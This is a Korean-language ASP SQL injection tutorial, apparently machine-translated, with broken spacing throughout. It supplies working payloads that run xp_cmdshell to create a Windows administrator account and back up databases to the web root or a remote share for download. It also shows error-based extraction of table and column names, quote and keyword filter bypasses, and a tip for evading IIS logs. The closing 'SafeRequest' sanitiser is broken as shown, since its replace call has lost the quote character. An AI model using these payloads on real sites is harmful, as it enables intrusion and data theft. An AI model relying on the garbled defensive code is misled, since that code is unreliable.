ASP 빈틈 전 접촉-고급 편

입문 편 과 진급 편 을 보고 조금 연습 을 해서 일반적인 사 이 트 를 푸 는 것 은 문제 가 없다.그러나 표 이름 의 열 이름 이 맞 히 지 않 거나 프로그램 작성 자가 특수 문 자 를 걸 러 내 면 어떻게 주입 성 공률 을 높 일 수 있 습 니까?어떻게 추측 효율 을 높 입 니까?모두 이어서 고급 편 을 내 려 다 보 세 요.첫째,시스템 표를 이용 하여 SQLServer 데이터베이스 에 주입 하 는 SQLServer 는 기능 이 강 한 데이터베이스 시스템 으로 운영 체제 와 밀접 한 관 계 를 가진다.이것 은 개발 자 에 게 큰 편 의 를 가 져 다 주 었 으 나 다른 한편,주입 자 에 게 발판 을 제공 했다.우 리 는 먼저 몇 가지 구체 적 인 예 를 살 펴 보 자.①http://Site/url.asp?id=1;exec master..xp_cmdshell"net user name password/add"--분점;SQLServer 에서 앞 뒤 두 문장 을 분리 하 는 것 을 표시 합 니 다.-뒤의 문장 을 주석 으로 표시 하기 때문에 이 문장 은 SQLServer 에서 두 문장 으로 나 누 어 실 행 됩 니 다.먼저 ID=1 의 기록 을 선택 한 다음 에 저장 과정 xp 를 실행 합 니 다.cmdshell,이 저장 과정 은 시스템 명령 을 호출 하 는 데 사 용 됩 니 다.그래서 net 명령 으로 사용자 이름 name,비밀번호 password 인 windows 계 정 을 새로 만 들 었 습 니 다.이 어 ②http://Site/url.asp?id=1;exec master..xp_cmdshell"net localgroup name administrators/add"--새 계 정 name 을 관리자 그룹 에 가입 합 니 다.2 분 이 걸 리 지 않 아 도 시스템 최고 권한 을 얻 었 습 니 다!물론,이 방법 은 sa 로 데이터 베 이 스 를 연결 하 는 경우 에 만 적 용 됩 니 다.그렇지 않 으 면 xp 를 호출 할 수 있 는 권한 이 없습니다.cmdshell 의.  ③http://Site/url.asp?id=1 ;;and db_name()>0 앞 에 비슷 한 예 and user>0 이 있 습 니 다.연결 사용자 이름 을 가 져 오 는 역할 을 합 니 다.dbname()은 다른 시스템 변수 입 니 다.연 결 된 데이터베이스 이름 을 되 돌려 줍 니 다.  ④http://Site/url.asp?id=1;backup database database name to disk='c:\inetpub\www wroot\\1.db';③ 에서 받 은 데이터베이스 이름 에 일부 IIS 오류 가 드 러 난 절대적 인 경 로 를 더 해 웹 디 렉 터 리 에 데이터 베 이 스 를 백업 한 다음 에 HTTP 로 전체 데이터 베 이 스 를 완전 하 게 다운로드 하여 모든 관리자 와 사용자 비밀 번 호 를 한눈 에 볼 수 있 습 니 다!절대 경 로 를 모 를 때 네트워크 주소 로 백업 하 는 방법(예 를 들 어\\202.96.xx.xx\Share\1.db)도 있 지만 성 공률 은 높 지 않다.  ⑤http://Site/url.asp?id=1 ;;and(Select Top 1 name from sysobjects where xtype='U'and status>0)>0 앞에서 말 했 듯 이 sysobjects 는 SQLServer 의 시스템 표 로 모든 표 이름,보기,제약 및 기타 대상 을 저장 하고 있 습 니 다.xtype='U'and status>0 은 사용자 가 만 든 표 이름 을 표시 합 니 다.위의 문 구 는 첫 번 째 표 이름 을 꺼 내 0 과 크기 를 비교 하여 잘못된 정 보 를 보고 하여 표 이름 을 드 러 냅 니 다.두 번 째,세 번 째 표 이름 은 어떻게 얻 습 니까?우리 똑똑 한 독자 들 에 게 생각 을 남 겨 두 는 것 이 좋 겠 다.  ⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id('표 명'),1)from sysobjects)>0 ⑤ 에서 표 명 을 받 은 후 objectid('표 이름')표 이름 에 해당 하 는 내부 ID 가 져 오기,colname(표 명 ID,1)은 이 표 의 첫 번 째 필드 이름 을 대표 합 니 다.1 을 2,3,4 로 바 꾸 면 맞 히 는 표 의 필드 이름 을 하나씩 가 져 올 수 있 습 니 다.상기 6 시 는 제 가 SQLServer 를 반년 여 동안 주입 한 심혈 결정 을 연구 한 결과 SQLServer 에 대한 이해 정도 가 성 공률 과 추측 속도 에 직접적인 영향 을 미 친 다 는 것 을 알 수 있 습 니 다.제 가 SQLServer 주입 을 연구 한 후에 저 는 개발 분야 의 수준 도 크게 향상 되 었 습 니 다.하하,안전 과 개발 은 원래 서로 보완 되 는 것 일 수도 있 습 니 다.2 절,프로그램 제한 을 피해 계속 입문 편 에 주입 한다.'호 테스트 로 구멍 을 주입 하 는 것 을 좋아 하 는 사람 이 많 기 때문에'호 를 걸 러 내 는 방법'으로 구멍 을 주입 하 는 것 을 방지 하 는 사람 도 많다.이것 은 일부 입문 자의 공격 을 막 을 수 있 지만 SQL 에 대해 잘 아 는 사람 을 주입 하 는 것 은 관련 함 수 를 이용 하여 프로그램 제한 을 우회 하 는 목적 을 달성 할 수 있다.'SQL 주입 의 일반적인 절차'1 절 에서 제 가 사용 하 는 문 구 는 모두 제 최 적 화 를 거 쳐 작은 따옴표 가 포함 되 지 않도록 합 니 다."시스템 표를 이용 하여 SQLServer 데이터 베 이 스 를 주입 합 니 다"에'번호'가 포함 되 어 있 습 니 다.예 를 들 어 이 문 구 를 어떻게 개조 하 는 지 보 겠 습 니 다.간단 한 예 를 들 어 where xtype='U',문자 U 에 대응 하 는 ASCII 코드 는 85 이기 때문에 where xtype=char(85)로 대체 할 수 있 습 니 다.만약 문자 가 중국어 라면,예 를 들 어 where name='사용자'는 where name=nchar(29992)+nchar(25143)로 대체 할 수 있 습 니 다.3 절,경험 소결 1.어떤 사람들 은 Select,Update,Delete 라 는 키 워드 를 걸 러 내지 만 대소 문 자 를 구분 하 는 것 을 잊 어 버 리 기 때문에 selecT 로 이렇게 시도 해 보 세 요.2.필드 이름 을 알 아 맞 히 지 못 할 때 사이트 의 로그 인 폼 을 보 세 요.보통 편 의 를 위해 필드 이름 은 폼 의 입력 상자 와 같은 이름 을 짓 습 니 다.3.특히 주의:주소 표시 줄 의+번 호 는 프로그램 에 입력 한 후 빈 칸 으로 해석 되 며,%2B 는+번 으로 해석 되 며,%25 는%번 으로 해석 되 며,구체 적 으로 URLEncode 의 관련 소 개 를 참고 할 수 있 습 니 다.4.Get 방법 으로 주입 할 때 IIS 는 제출 문자열 을 모두 기록 하고 Post 방법 에 대해 서 는 기록 하지 않 기 때문에 Post 의 주 소 는 Get 을 사용 하지 않 아 도 됩 니 다.5.Access 를 풀 때 Ascii 한 글자 씩 만 디 코딩 할 수 있 고 SQLServer 도 이런 방법 을 사용 할 수 있 습 니 다.이들 의 차이 만 있 으 면 됩 니 다.그러나 SQLServer 의 잘못된 정보 로 값 을 드 러 낼 수 있다 면 효율 과 정확 도 는 크게 향상 될 것 입 니 다.SQL 주입 구멍 은'천리 의 제방,개미굴 에 무너진다'고 할 수 있다.이런 구멍 은 인터넷 에서 매우 보편적이다.보통 프로그래머 가 주입 에 대해 잘 모 르 거나 프로그램 여과 가 엄격 하지 않 거나 특정한 매개 변수 가 검 사 를 잊 어 버 려 서 생 긴 것 이다.여기 서 ASP 의 Request 함 수 를 대체 하여 모든 SQL 에 Say NO 를 주입 할 수 있 는 함 수 를 드 리 겠 습 니 다.함 수 는 다음 과 같 습 니 다.Function SafeRequest(ParaName,ParaType)-들 어 오 는 매개 변수---ParaName:매개 변수 이름-문자 형 ParaType:매개 변수 유형-숫자 형(1 은 상기 매개 변 수 는 숫자 임 을 나타 냅 니 다.0 은 위의 매개 변 수 를 문자 로 표시 합 니 다)Dim ParaValue ParaValue=Request(ParaName)If ParaType=1 then If not isNumeric(ParaValue)then Response.write"인자"&ParaName&"숫자 형 이 어야 합 니 다!"  Response.end   End if   Else   ParaValue=replace(ParaValue,"","")   End if   SafeRequest=ParaValue   End function

좋은 웹페이지 즐겨찾기